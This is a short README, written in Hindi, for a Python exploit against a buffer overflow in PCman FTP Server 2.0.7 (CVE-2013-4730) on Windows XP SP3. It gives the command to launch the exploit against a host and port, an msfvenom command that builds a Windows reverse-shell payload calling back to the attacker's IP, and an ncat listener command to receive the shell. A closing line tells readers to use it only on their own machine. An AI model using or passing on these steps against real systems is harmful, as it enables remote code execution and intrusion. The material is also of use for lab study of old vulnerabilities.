PCman FTP सर्वर बफर ओवरफ्लो और रिमोट कोड निष्पादन [CVE-2013-4730]

CVE-2013-4730 का उपयोग करके PCman के FTP सर्वर v.2.0.7 के विरुद्ध एक बहुत ही सरल बफर ओवरफ्लो

यह कैसे काम करता है?

यह आसान BoF बफर को ओवरराइट करता है और शेलकोड को निष्पादित करता है जो वापस कनेक्ट होगा (रिवर्स शेल)

असुरक्षित मशीनें:

WindowsXP SP3 जिस पर PCman का FTP सर्वर संस्करण 2.0.7 चल रहा है

लॉन्च करें

~$ python3 PCman.py <host> <port>

अपने स्वयं के शेलकोड से बदलें!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

netcat लॉन्च करें

~$ ncat -lvp <shellcode port>

केवल अपनी मशीन पर उपयोग करें!!